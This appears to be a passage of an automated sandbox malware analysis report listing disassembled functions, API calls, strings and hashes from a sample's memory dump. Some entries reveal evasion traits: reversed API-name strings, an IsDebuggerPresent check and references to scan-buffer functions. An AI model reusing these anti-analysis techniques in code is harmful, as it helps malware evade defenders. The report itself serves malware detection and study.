                                                                                                                                                                                                                                  • API String ID: 351091851-0
                                                                                                                                                                                                                                  • Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                                                                                                                                                                  • Instruction ID: 650467069d00dd8013bd69f14ab8fd7432c32929a1b77950f36a1fd222a46f11
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6B510A79A0162D9BCB26DB58DC80BD9B3BCAF4E301F4441D5E509EB201DB30AF818F60
                                                                                                                                                                                                                                  Function 031D3598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 031D35BA
                                                                                                                                                                                                                                  • RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,031D3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 031D35ED
                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,031D3610,00000000,?,00000004,00000000,031D3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 031D3603
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CloseOpenQueryValue
                                                                                                                                                                                                                                  • String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
                                                                                                                                                                                                                                  • API String ID: 3677997916-4173385793
                                                                                                                                                                                                                                  • Opcode ID: 2deca209566bdfc8e96e810b113c2abece441638a69505a22850019732dd9282
                                                                                                                                                                                                                                  • Instruction ID: ecb5fbdef0847cbb95aa6c1ff2a37ad5b79d1fcad5ad6124ef32c5c6c3e36f5c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2deca209566bdfc8e96e810b113c2abece441638a69505a22850019732dd9282
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4001B579A00318BFDB51DBD08D42BBD77ECD70DB01F100565BA10D6680E775A610C669
                                                                                                                                                                                                                                  Function 031E8274 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressProc$HandleModule
                                                                                                                                                                                                                                  • String ID: Kernel32$sserddAcorPteG
                                                                                                                                                                                                                                  • API String ID: 667068680-1372893251
                                                                                                                                                                                                                                  • Opcode ID: 5ed3d06908cb882bee1402baa4261627911ac035db4859024faba6457f8f01d1
                                                                                                                                                                                                                                  • Instruction ID: 6cc2ac61fe65c3afd22cd6c69d37edd7f53ccbd89b74ff8eba9d305ffd15a79c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5ed3d06908cb882bee1402baa4261627911ac035db4859024faba6457f8f01d1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A0016278640708BFDB04EBA9EC45E9EB7EDEB4DA10F518460B804DB640DF75AA00C624
                                                                                                                                                                                                                                  Function 031DAA50 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetThreadLocale.KERNEL32(?,00000000,031DAAE7,?,?,00000000), ref: 031DAA68
                                                                                                                                                                                                                                    • Part of subcall function 031DA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 031DA7E2
                                                                                                                                                                                                                                  • GetThreadLocale.KERNEL32(00000000,00000004,00000000,031DAAE7,?,?,00000000), ref: 031DAA98
                                                                                                                                                                                                                                  • EnumCalendarInfoA.KERNEL32(Function_0000A99C,00000000,00000000,00000004), ref: 031DAAA3
                                                                                                                                                                                                                                  • GetThreadLocale.KERNEL32(00000000,00000003,00000000,031DAAE7,?,?,00000000), ref: 031DAAC1
                                                                                                                                                                                                                                  • EnumCalendarInfoA.KERNEL32(Function_0000A9D8,00000000,00000000,00000003), ref: 031DAACC
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Locale$InfoThread$CalendarEnum
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4102113445-0
                                                                                                                                                                                                                                  • Opcode ID: 131d03cb06cac596e42d39271ccf74f0139ce841ab025f8f0cca1515ce6188d4
                                                                                                                                                                                                                                  • Instruction ID: 7462fcacbbe4c168b7c9c34d2a559a6ee683dc3e30ebcc8a7fd7bf68ff58ba66
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 131d03cb06cac596e42d39271ccf74f0139ce841ab025f8f0cca1515ce6188d4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0F01A2B97007846FEB12EA68CD11B6F766CDF8F610F910660F510AA6C0EB759E008265
                                                                                                                                                                                                                                  Function 031DAB00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetThreadLocale.KERNEL32(?,00000000,031DACD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 031DAB2F
                                                                                                                                                                                                                                    • Part of subcall function 031DA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 031DA7E2
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Locale$InfoThread
                                                                                                                                                                                                                                  • String ID: eeee$ggg$yyyy
                                                                                                                                                                                                                                  • API String ID: 4232894706-1253427255
                                                                                                                                                                                                                                  • Opcode ID: 2a7d6294749e9cde038084c30c3f4d71e6ff97a04c0ce4e76df4f540bbaa455b
                                                                                                                                                                                                                                  • Instruction ID: b06c453d935c9686178bcb5c4bb2426984812c63f21991318857e991908dc839
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2a7d6294749e9cde038084c30c3f4d71e6ff97a04c0ce4e76df4f540bbaa455b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C34112787143084BDB15EBBD88902BFB7EADF8F120B194521D492DB344EF34DA028665
                                                                                                                                                                                                                                  Function 031E81CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  • GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc
                                                                                                                                                                                                                                  • String ID: AeldnaHeludoMteG$KernelBASE
                                                                                                                                                                                                                                  • API String ID: 1883125708-1952140341
                                                                                                                                                                                                                                  • Opcode ID: cde1824e0c4cff2e99977a4605e75c8b76b06653f0b4a8f819a377a02f21a30d
                                                                                                                                                                                                                                  • Instruction ID: e856e30bb188a9a979d5f426d6da4bc7ccbbf154d4d80572de93dac9ef480ff3
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cde1824e0c4cff2e99977a4605e75c8b76b06653f0b4a8f819a377a02f21a30d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FFF09078A44B04BFDB00FFA9ED0595DB7ECEB4EA10B518460B800DB610DB32AF00C625
                                                                                                                                                                                                                                  Function 031EF6E8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(KernelBase,?,031EFAEB,UacInitialize,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,ScanString,03257380,031FB7B8,Initialize), ref: 031EF6EE
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 031EF700
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                  • String ID: IsDebuggerPresent$KernelBase
                                                                                                                                                                                                                                  • API String ID: 1646373207-2367923768
                                                                                                                                                                                                                                  • Opcode ID: b93a16b1ca5b3e577cadfabeab46f61d090633b6eb75309074782746ad1bd868
                                                                                                                                                                                                                                  • Instruction ID: 2997cea5081324ed6c60e0ab6c7a1be41c77322a68b244074b466fa4162a8e4c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b93a16b1ca5b3e577cadfabeab46f61d090633b6eb75309074782746ad1bd868
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A5D012E5B51B501FDE00F2F41CC581D02C8C55D42A3250E61B431CA093E7B788176014
                                                                                                                                                                                                                                  Function 031DC474 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(kernel32.dll,?,031FD10B,00000000,031FD11E), ref: 031DC47A
                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 031DC48B
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                  • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                                                                                                                                                                                                  • API String ID: 1646373207-3712701948
                                                                                                                                                                                                                                  • Opcode ID: 453fc7a0e9e71c6fd50c159bcbee5b00e1fbc95ef9bb624634d4fcaed454d05b
                                                                                                                                                                                                                                  • Instruction ID: 3ff6b8e93e047b1ab025025f77bac3675bac0d008376a1cea1b9807a067ba80d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 453fc7a0e9e71c6fd50c159bcbee5b00e1fbc95ef9bb624634d4fcaed454d05b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F1D05EA02003045FDA00FAB994806362198C30E315B044829E4129A111E7665440CFF5
                                                                                                                                                                                                                                  Function 031DE1E8 Relevance: 6.1, APIs: 4, Instructions: 115COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 031DE297
                                                                                                                                                                                                                                  • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 031DE2B3
                                                                                                                                                                                                                                  • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 031DE32A
                                                                                                                                                                                                                                  • VariantClear.OLEAUT32(?), ref: 031DE353
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ArraySafe$Bound$ClearIndexVariant
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 920484758-0
                                                                                                                                                                                                                                  • Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                                                                                                                                                                  • Instruction ID: b5dfb45a33ab3fc903ba83c7c4b483115428307625b80c86cb8cfda16298e47f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 72410A79A017299FCB62DB58CC90BD9B3BCAF4E311F0446D5E549AB211DB30AF808F60
                                                                                                                                                                                                                                  Function 031DAD3C Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • VirtualQuery.KERNEL32(?,?,0000001C), ref: 031DAD59
                                                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031DAD7D
                                                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(031D0000,?,00000105), ref: 031DAD98
                                                                                                                                                                                                                                  • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 031DAE2E
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3990497365-0
                                                                                                                                                                                                                                  • Opcode ID: d26fcae79412a90b72374fc0eb0d0053047a49987451c502081b3310044e16e1
                                                                                                                                                                                                                                  • Instruction ID: e8c66b06ca7e812f98454d470a470b2165a862ee5aabcfe3d79ae6cc910fe0ce
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d26fcae79412a90b72374fc0eb0d0053047a49987451c502081b3310044e16e1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: ED411A74A003589BDB61EB68DC84BDAB7FCAF0E240F4440E6A548EB245D774AF84CF55
                                                                                                                                                                                                                                  Function 031DAD3A Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • VirtualQuery.KERNEL32(?,?,0000001C), ref: 031DAD59
                                                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 031DAD7D
                                                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(031D0000,?,00000105), ref: 031DAD98
                                                                                                                                                                                                                                  • LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 031DAE2E
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FileModuleName$LoadQueryStringVirtual
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3990497365-0
                                                                                                                                                                                                                                  • Opcode ID: 801e4b2accf9ac280cd360a3c9d114d4f9d21badafd2aa40dbfcc1e1bdb55b4b
                                                                                                                                                                                                                                  • Instruction ID: 43911ed3c14f468b131681e834d38b6eaacaeb2ebf1285e80565d030ad7472fe
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 801e4b2accf9ac280cd360a3c9d114d4f9d21badafd2aa40dbfcc1e1bdb55b4b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E7413874A003589BDB61EB68DC84BDAB7FCAF0E200F4440E6A548EB245DB74AF84CB50
                                                                                                                                                                                                                                  Function 031D1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                  • Opcode ID: e2257a35594259f4fca68d31fe35296cff055314ad15d7c3e4b6f84f09ca3c34
                                                                                                                                                                                                                                  • Instruction ID: f63cbcdc937ceed5f697bdc808c35fc75c14c21e043515065a9a80e05314d8e2
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e2257a35594259f4fca68d31fe35296cff055314ad15d7c3e4b6f84f09ca3c34
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6EA1D6677107002BD759EA7CAD843AEF3C69BCE221F2D827EE515CF386DB68C9558240
                                                                                                                                                                                                                                  Function 031D94EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,031D95DA), ref: 031D9572
                                                                                                                                                                                                                                  • GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,031D95DA), ref: 031D9578
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DateFormatLocaleThread
                                                                                                                                                                                                                                  • String ID: yyyy
                                                                                                                                                                                                                                  • API String ID: 3303714858-3145165042
                                                                                                                                                                                                                                  • Opcode ID: d421ac5f776f36855299ce76ac8ab18ae7275b443bcfeddbaf3eeac7d7bd622c
                                                                                                                                                                                                                                  • Instruction ID: 6eb7b0a0ae972461e3e57711044d26bbee7d7b72220632a5aa21811210573a3e
